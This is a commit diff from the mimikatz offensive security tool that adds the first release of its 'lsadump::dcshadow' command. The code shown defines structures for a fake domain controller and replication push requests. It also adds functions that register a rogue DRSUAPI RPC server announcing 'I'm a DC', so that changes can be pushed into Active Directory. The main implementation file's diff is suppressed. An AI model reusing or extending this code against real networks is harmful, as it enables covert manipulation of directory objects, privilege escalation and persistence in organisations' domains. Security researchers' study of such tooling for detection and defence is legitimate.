First release of lsadump::dcshadow
This commit is contained in:
parent
dc7661c7d0
commit
0cba47194c
|
@ -17,6 +17,7 @@ const KUHL_M_C kuhl_m_c_lsadump[] = {
|
|||
{kuhl_m_lsadump_setntlm, L"setntlm", L"Ask a server to set a new password/ntlm for one user"},
|
||||
{kuhl_m_lsadump_changentlm, L"changentlm", L"Ask a server to set a new password/ntlm for one user"},
|
||||
{kuhl_m_lsadump_netsync, L"netsync", L"Ask a DC to send current and previous NTLM hash of DC/SRV/WKS"},
|
||||
{kuhl_m_lsadump_dcshadow, L"dcshadow", L"Ask a DC to trigger a synchronization and send an object"},
|
||||
};
|
||||
|
||||
const KUHL_M kuhl_m_lsadump = {
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -14,7 +14,7 @@
|
|||
#include "../kuhl_m_lsadump.h" // to move
|
||||
|
||||
NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]);
|
||||
//NTSTATUS kuhl_m_lsadump_dc...(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_lsadump_dcshadow(int argc, wchar_t * argv[]);
|
||||
|
||||
#pragma pack(push, 1)
|
||||
typedef struct _USER_PROPERTY {
|
||||
|
@ -45,3 +45,117 @@ void kuhl_m_lsadump_dcsync_descrTrust(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOC
|
|||
void kuhl_m_lsadump_dcsync_descrTrustAuthentication(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, PCUNICODE_STRING domain, PCUNICODE_STRING partner, BOOL isIn);
|
||||
void kuhl_m_lsadump_dcsync_descrSecret(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL someExport);
|
||||
void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes);
|
||||
|
||||
typedef BOOL (*DCSHADOW_SYNTAX_ENCODER)(ATTRVAL* pVal, PWSTR szValue);
|
||||
|
||||
typedef struct _DS_REPL_ATTRTYP_META_DATA {
|
||||
ATTRTYP attrType;
|
||||
DWORD dwVersion;
|
||||
FILETIME ftimeLastOriginatingChange;
|
||||
UUID uuidLastOriginatingDsaInvocationID;
|
||||
USN usnOriginatingChange;
|
||||
USN usnLocalChange;
|
||||
} DS_REPL_ATTRTYP_META_DATA, *PDS_REPL_ATTRTYP_META_DATA;
|
||||
|
||||
typedef struct _DS_REPL_OBJ_TYPE_META_DATA {
|
||||
DWORD cNumEntries;
|
||||
DWORD dwReserved;
|
||||
DS_REPL_ATTRTYP_META_DATA rgMetaData[ANYSIZE_ARRAY];
|
||||
} DS_REPL_OBJ_TYPE_META_DATA, *PDS_REPL_OBJ_TYPE_META_DATA;
|
||||
|
||||
typedef struct _DS_REPL_OBJ_TYPE_META_DATA_BLOB {
|
||||
DWORD dwVersion;
|
||||
DWORD dwReserved;
|
||||
DS_REPL_OBJ_TYPE_META_DATA ctr;
|
||||
} DS_REPL_OBJ_TYPE_META_DATA_BLOB, *PDS_REPL_OBJ_TYPE_META_DATA_BLOB;
|
||||
|
||||
typedef struct _DCSHADOW_OBJECT_ATTRIBUTE
|
||||
{
|
||||
PWSTR szAttributeName;
|
||||
PSTR Oid;
|
||||
DWORD dwSyntax;
|
||||
BOOL fIsSensitive;
|
||||
} DCSHADOW_OBJECT_ATTRIBUTE, *PDCSHADOW_OBJECT_ATTRIBUTE;
|
||||
|
||||
#define REPLICATION_UID_SET 1
|
||||
#define REPLICATION_USN_SET 1<<1
|
||||
#define REPLICATION_TIME_SET 1<<2
|
||||
|
||||
typedef struct _DCSHADOW_OBJECT_ATTRIBUTE_METADATA
|
||||
{
|
||||
DWORD dwFlag;
|
||||
GUID uidOriginatingDsa;
|
||||
DWORD usnOriginating;
|
||||
FILETIME usnTimeChanged;
|
||||
DWORD curRevision;
|
||||
} DCSHADOW_OBJECT_ATTRIBUTE_METADATA, *PDCSHADOW_OBJECT_ATTRIBUTE_METADATA;
|
||||
|
||||
typedef struct _DCSHADOW_PUSH_REQUEST_OBJECT_ATTRIBUTE
|
||||
{
|
||||
PDCSHADOW_OBJECT_ATTRIBUTE pAttribute;
|
||||
DCSHADOW_OBJECT_ATTRIBUTE_METADATA MetaData;
|
||||
ATTRVALBLOCK AttrVal;
|
||||
PWSTR * pszValue;
|
||||
} DCSHADOW_PUSH_REQUEST_OBJECT_ATTRIBUTE, *PDCSHADOW_PUSH_REQUEST_OBJECT_ATTRIBUTE;
|
||||
|
||||
typedef struct _DCSHADOW_PUSH_REQUEST_OBJECT
|
||||
{
|
||||
// set automatically when reading replication metadata
|
||||
BOOL fAdd;
|
||||
PWSTR szObjectDN;
|
||||
// mandatory for object creation and/or password encoding
|
||||
NT4SID pSid;
|
||||
// mandatory for object creation
|
||||
GUID ObjectGUID;
|
||||
ULONG cbAttributes;
|
||||
PDCSHADOW_PUSH_REQUEST_OBJECT_ATTRIBUTE pAttributes;
|
||||
} DCSHADOW_PUSH_REQUEST_OBJECT, *PDCSHADOW_PUSH_REQUEST_OBJECT;
|
||||
|
||||
typedef struct _DCSHADOW_PUSH_REQUEST
|
||||
{
|
||||
ULONG cNumObjects;
|
||||
PDCSHADOW_PUSH_REQUEST_OBJECT pObjects;
|
||||
|
||||
ULONG cNumAttributes;
|
||||
PDCSHADOW_OBJECT_ATTRIBUTE pAttributes;
|
||||
|
||||
} DCSHADOW_PUSH_REQUEST, *PDCSHADOW_PUSH_REQUEST;
|
||||
|
||||
|
||||
typedef struct _DCSHADOW_DOMAIN_DC_INFO {
|
||||
BOOL isInstanceId;
|
||||
GUID InstanceId;
|
||||
BOOL isInvocationId;
|
||||
GUID InvocationId;
|
||||
} DCSHADOW_DOMAIN_DC_INFO, *PDCSHADOW_DOMAIN_DC_INFO;
|
||||
|
||||
#define DOMAIN_INFO_PUSH_FLAGS_ROOT 1
|
||||
#define DOMAIN_INFO_PUSH_FLAGS_CONFIG 2
|
||||
#define DOMAIN_INFO_PUSH_FLAGS_SCHEMA 4
|
||||
|
||||
typedef struct _DCSHADOW_DOMAIN_INFO {
|
||||
// dns name - arg or local assigned var freed
|
||||
PWSTR szDomainName;
|
||||
PWSTR szDCFQDN;
|
||||
// not to be freed - arg or static var
|
||||
PWSTR szFakeDCNetBIOS;
|
||||
PWSTR szFakeFQDN;
|
||||
PWSTR szFakeDN;
|
||||
// naming context of the AD
|
||||
PWSTR szDomainNamingContext;
|
||||
PWSTR szConfigurationNamingContext;
|
||||
PWSTR szSchemaNamingContext;
|
||||
// The site (first-or-default in general)
|
||||
PWSTR szDsServiceName;
|
||||
DWORD dwDomainControllerFunctionality;
|
||||
DWORD maxDCUsn;
|
||||
BOOL fUseSchemaSignature;
|
||||
BYTE pbSchemaSignature[21];
|
||||
DWORD dwPushFlags;
|
||||
DCSHADOW_DOMAIN_DC_INFO realDc;
|
||||
DCSHADOW_DOMAIN_DC_INFO mimiDc;
|
||||
HANDLE hGetNCChangeCalled;
|
||||
// the only attribute which can be there in a next call
|
||||
PDCSHADOW_PUSH_REQUEST request;
|
||||
|
||||
} DCSHADOW_DOMAIN_INFO, *PDCSHADOW_DOMAIN_INFO;
|
||||
|
|
|
@ -418,7 +418,6 @@ DWORD kull_m_rpc_drsr_MakeAttid_addPrefixToTable(SCHEMA_PREFIX_TABLE *prefixTabl
|
|||
BOOL status = FALSE;
|
||||
DWORD i;
|
||||
PrefixTableEntry *entries;
|
||||
|
||||
for(i = 0; i < prefixTable->PrefixCount; i++)
|
||||
{
|
||||
if(prefixTable->pPrefixEntry[i].prefix.length == oidPrefix->length)
|
||||
|
@ -474,7 +473,7 @@ BOOL kull_m_rpc_drsr_MakeAttid(SCHEMA_PREFIX_TABLE *prefixTable, LPCSTR szOid, A
|
|||
oidPrefix.length -= (lastValue < 0x80) ? 1 : 2;
|
||||
if(status = kull_m_rpc_drsr_MakeAttid_addPrefixToTable(prefixTable, &oidPrefix, &ndx, toAdd))
|
||||
*att |= ndx << 16;
|
||||
else PRINT_ERROR(L"kull_m_rpc_drsr_MakeAttid_addPrefixToTable");
|
||||
else PRINT_ERROR(L"kull_m_rpc_drsr_MakeAttid_addPrefixToTable\n");
|
||||
kull_m_asn1_freeEnc(oidPrefix.value);
|
||||
}
|
||||
}
|
||||
|
@ -535,3 +534,150 @@ void kull_m_rpc_drsr_findPrintMonoAttr(LPCWSTR prefix, SCHEMA_PREFIX_TABLE *pref
|
|||
if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOid, &ptr, &sz))
|
||||
kprintf(L"%s%.*s%s", prefix ? prefix : L"", sz / sizeof(wchar_t), (PWSTR) ptr, newLine ? L"\n" : L"");
|
||||
}
|
||||
|
||||
LPWSTR kull_m_rpc_drsr_MakeSpnWithGUID(LPCGUID ServClass, LPCWSTR ServName, LPCGUID InstName)
|
||||
{
|
||||
LPWSTR result = NULL;
|
||||
RPC_STATUS status;
|
||||
RPC_WSTR szServClass, szInstName;
|
||||
DWORD dwServClass, dwInstName, dwServName;
|
||||
status = UuidToString(ServClass, &szServClass);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
status = UuidToString(InstName, &szInstName);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
dwServClass = lstrlen((LPWSTR) szServClass) * sizeof(wchar_t);
|
||||
dwInstName = lstrlen((LPWSTR) szInstName) * sizeof(wchar_t);
|
||||
dwServName = lstrlen(ServName) * sizeof(wchar_t);
|
||||
if (result = (LPWSTR) LocalAlloc(LPTR, dwServClass + sizeof(wchar_t) + dwInstName + sizeof(wchar_t) + dwServName))
|
||||
{
|
||||
RtlCopyMemory(result, szServClass, dwServClass);
|
||||
RtlCopyMemory((PBYTE) result + dwServClass + sizeof(wchar_t), szInstName, dwInstName);
|
||||
((PBYTE) result)[dwServClass] = L'/';
|
||||
RtlCopyMemory((PBYTE) result + dwServClass + sizeof(wchar_t) + dwServName + sizeof(wchar_t), ServName, dwServName);
|
||||
((PBYTE) result)[dwServClass + sizeof(wchar_t) + dwServName] = L'/';
|
||||
}
|
||||
RpcStringFree(&szInstName);
|
||||
}
|
||||
else PRINT_ERROR(L"UuidToString(i): %08x\n", status);
|
||||
RpcStringFree(&szServClass);
|
||||
}
|
||||
else PRINT_ERROR(L"UuidToString(s): %08x\n", status);
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS kull_m_rpc_drsr_start_server(LPCWSTR ServName, LPCGUID InstName)
|
||||
{
|
||||
RPC_STATUS status = 0;
|
||||
RPC_BINDING_VECTOR *vector = NULL;
|
||||
RPC_WSTR szUpn, bindString = NULL;
|
||||
DWORD i;
|
||||
BOOL toUnreg = FALSE;
|
||||
|
||||
if(szUpn = (RPC_WSTR) kull_m_rpc_drsr_MakeSpnWithGUID(&((RPC_SERVER_INTERFACE *) drsuapi_v4_0_s_ifspec)->InterfaceId.SyntaxGUID, ServName, InstName))
|
||||
{
|
||||
status = RpcServerUseProtseqEp((RPC_WSTR) L"ncacn_ip_tcp", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, (RPC_WSTR) NULL, NULL);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
status = RpcServerRegisterAuthInfo(szUpn, RPC_C_AUTHN_GSS_NEGOTIATE, NULL, NULL);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
status = RpcServerRegisterIf2(drsuapi_v4_0_s_ifspec, NULL, NULL, RPC_IF_ALLOW_SECURE_ONLY, RPC_C_LISTEN_MAX_CALLS_DEFAULT, -1, NULL);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
status = RpcServerInqBindings(&vector);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
for(i = 0; i < vector->Count; i++)
|
||||
{
|
||||
status = RpcBindingToStringBinding(vector->BindingH[i], &bindString);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
kprintf(L" > BindString[%u]: %s\n", i, bindString);
|
||||
RpcStringFree(&bindString);
|
||||
}
|
||||
else PRINT_ERROR(L"RpcBindingToStringBinding: %08x\n", status);
|
||||
}
|
||||
|
||||
status = RpcEpRegister(drsuapi_v4_0_s_ifspec, vector, NULL, (RPC_WSTR) MIMIKATZ L" Ho, hey! I\'m a DC :)");
|
||||
RpcBindingVectorFree(&vector);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
kprintf(L" > RPC bind registered\n");
|
||||
status = RpcServerListen(1, RPC_C_LISTEN_MAX_CALLS_DEFAULT, TRUE);
|
||||
if(status == RPC_S_OK)
|
||||
kprintf(L" > RPC Server is waiting!\n");
|
||||
else if(status == RPC_S_ALREADY_LISTENING)
|
||||
{
|
||||
kprintf(L" > RPC Server already waiting!\n");
|
||||
status = RPC_S_OK;
|
||||
}
|
||||
else PRINT_ERROR(L"RpcServerListen: %08x\n", status);
|
||||
}
|
||||
else PRINT_ERROR(L"RpcEpRegister: %08x\n", status);
|
||||
}
|
||||
else PRINT_ERROR(L"RpcServerInqBindings: %08x\n", status);
|
||||
}
|
||||
else PRINT_ERROR(L"RpcServerRegisterIf2: %08x\n", status);
|
||||
}
|
||||
else PRINT_ERROR(L"RpcServerRegisterAuthInfo: %08x\n", status);
|
||||
}
|
||||
else PRINT_ERROR(L"RpcServerUseProtseqEp: %08x\n", status);
|
||||
LocalFree(szUpn);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS kull_m_rpc_drsr_stop_server()
|
||||
{
|
||||
RPC_STATUS status;
|
||||
RPC_BINDING_VECTOR *vector = NULL;
|
||||
|
||||
status = RpcServerInqBindings(&vector);
|
||||
if(status == RPC_S_OK)
|
||||
{
|
||||
status = RpcEpUnregister(drsuapi_v4_0_s_ifspec, vector, NULL);
|
||||
if(status == RPC_S_OK)
|
||||
kprintf(L" > RPC bind unregistered\n");
|
||||
else PRINT_ERROR(L"RpcEpUnregister: %08x\n", status);
|
||||
RpcBindingVectorFree(&vector);
|
||||
}
|
||||
else PRINT_ERROR(L"RpcServerInqBindings: %08x\n", status);
|
||||
status = RpcServerUnregisterIfEx(drsuapi_v4_0_s_ifspec, NULL, 1);
|
||||
if(status != RPC_S_OK)
|
||||
PRINT_ERROR(L"RpcServerUnregisterIf: %08x\n", status);
|
||||
status = RpcMgmtStopServerListening(NULL);
|
||||
if(status != RPC_S_OK)
|
||||
PRINT_ERROR(L"RpcMgmtStopServerListening: %08x\n", status);
|
||||
else
|
||||
{
|
||||
kprintf(L" > stopping RPC server\n");
|
||||
RpcMgmtWaitServerListen();
|
||||
kprintf(L" > RPC server stopped\n");
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
const PrefixTableEntry PrefixDefaultTableEntries[] = {
|
||||
{0, {2 , (BYTE *) "\x55\x4"}},
|
||||
{1, {2 , (BYTE *) "\x55\x6"}},
|
||||
{2, {8 , (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x02"}},
|
||||
{3, {8 , (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x03"}},
|
||||
{4, {8 , (BYTE *) "\x60\x86\x48\x01\x65\x02\x02\x01"}},
|
||||
{5, {8 , (BYTE *) "\x60\x86\x48\x01\x65\x02\x02\x03"}},
|
||||
{6, {8 , (BYTE *) "\x60\x86\x48\x01\x65\x02\x01\x05"}},
|
||||
{7, {8 , (BYTE *) "\x60\x86\x48\x01\x65\x02\x01\x04"}},
|
||||
{8, {2 , (BYTE *) "\x55\x5"}},
|
||||
{9, {8 , (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x04"}},
|
||||
{10,{8 , (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x05"}},
|
||||
{19,{8 , (BYTE *) "\x09\x92\x26\x89\x93\xf2\x2c\x64"}},
|
||||
{20,{8 , (BYTE *) "\x60\x86\x48\x01\x86\xf8\x42\x03"}},
|
||||
{21,{9 , (BYTE *) "\x09\x92\x26\x89\x93\xf2\x2c\x64\x01"}},
|
||||
{22,{9 , (BYTE *) "\x60\x86\x48\x01\x86\xf8\x42\x03\x01"}},
|
||||
{23,{10, (BYTE *) "\x2a\x86\x48\x86\xf7\x14\x01\x05\xb6\x58"}},
|
||||
{24,{2 , (BYTE *) "\x55\x15"}},
|
||||
{25,{2 , (BYTE *) "\x55\x12"}},
|
||||
{26,{2 , (BYTE *) "\x55\x14"}},
|
||||
};
|
||||
const SCHEMA_PREFIX_TABLE SCHEMA_DEFAULT_PREFIX_TABLE = {ARRAYSIZE(PrefixDefaultTableEntries), (PrefixTableEntry *) PrefixDefaultTableEntries};
|
||||
|
|
|
@ -164,6 +164,11 @@ typedef enum {
|
|||
EXOP_REPL_SECRETS = 7
|
||||
} EXOP_REQ;
|
||||
|
||||
#define szOID_objectclass "2.5.4.0"
|
||||
#define szOID_hasMasterNCs "1.2.840.113556.1.2.14"
|
||||
#define szOID_dMDLocation "1.2.840.113556.1.2.36"
|
||||
#define szOID_invocationId "1.2.840.113556.1.2.115"
|
||||
|
||||
#define szOID_ANSI_name "1.2.840.113556.1.4.1"
|
||||
#define szOID_objectGUID "1.2.840.113556.1.4.2"
|
||||
|
||||
|
@ -188,6 +193,15 @@ typedef enum {
|
|||
|
||||
#define szOID_ANSI_currentValue "1.2.840.113556.1.4.27"
|
||||
|
||||
#define szOID_options "1.2.840.113556.1.4.307"
|
||||
#define szOID_systemFlags "1.2.840.113556.1.4.375"
|
||||
#define szOID_serverReference "1.2.840.113556.1.4.515"
|
||||
#define szOID_msDS_Behavior_Version "1.2.840.113556.1.4.1459"
|
||||
#define szOID_msDS_HasDomainNCs "1.2.840.113556.1.4.1820"
|
||||
#define szOID_msDS_hasMasterNCs "1.2.840.113556.1.4.1836";
|
||||
|
||||
#define szOID_ANSI_nTDSDSA "1.2.840.113556.1.5.7000.47"
|
||||
|
||||
#define ATT_WHEN_CREATED MAKELONG( 2, 2)
|
||||
#define ATT_WHEN_CHANGED MAKELONG( 3, 2)
|
||||
|
||||
|
@ -241,3 +255,29 @@ BOOL kull_m_rpc_drsr_MakeAttid(SCHEMA_PREFIX_TABLE *prefixTable, LPCSTR szOid, A
|
|||
ATTRVALBLOCK * kull_m_rpc_drsr_findAttr(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCSTR szOid);
|
||||
PVOID kull_m_rpc_drsr_findMonoAttr(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCSTR szOid, PVOID data, DWORD *size);
|
||||
void kull_m_rpc_drsr_findPrintMonoAttr(LPCWSTR prefix, SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCSTR szOid, BOOL newLine);
|
||||
|
||||
LPWSTR kull_m_rpc_drsr_MakeSpnWithGUID(LPCGUID ServClass, LPCWSTR ServName, LPCGUID InstName);
|
||||
NTSTATUS kull_m_rpc_drsr_start_server(LPCWSTR ServName, LPCGUID InstName);
|
||||
NTSTATUS kull_m_rpc_drsr_stop_server();
|
||||
|
||||
// cf https://technet.microsoft.com/en-us/library/cc961740.aspx
|
||||
#define SYNTAX_UNDEFINED 0x550500
|
||||
#define SYNTAX_DN 0x550501
|
||||
#define SYNTAX_OID 0x550502
|
||||
#define SYNTAX_CASE_SENSITIVE_STRING 0x550503
|
||||
#define SYNTAX_CASE_IGNORE_STRING 0x550504
|
||||
#define SYNTAX_STRING_IA5 0x550505
|
||||
#define SYNTAX_STRING_NUMERIC 0x550506
|
||||
#define SYNTAX_OBJECT_DN_BINARY 0x550507
|
||||
#define SYNTAX_BOOLEAN 0x550508
|
||||
#define SYNTAX_INTEGER 0x550509
|
||||
#define SYNTAX_OCTET_STRING 0x55050a
|
||||
#define SYNTAX_GENERALIZED_TIME 0x55050b
|
||||
#define SYNTAX_UNICODE_STRING 0x55050c
|
||||
#define SYNTAX_OBJECT_PRESENTATION_ADDR 0x55050d
|
||||
#define SYNTAX_OBJECT_DN 0x55050e
|
||||
#define SYNTAX_NTSECURITYDESCRIPTOR 0x55050f
|
||||
#define SYNTAX_LARGE_INTEGER 0x550510
|
||||
#define SYNTAX_SID 0x550511
|
||||
|
||||
const SCHEMA_PREFIX_TABLE SCHEMA_DEFAULT_PREFIX_TABLE;
|
||||
|
|
Loading…
Reference in New Issue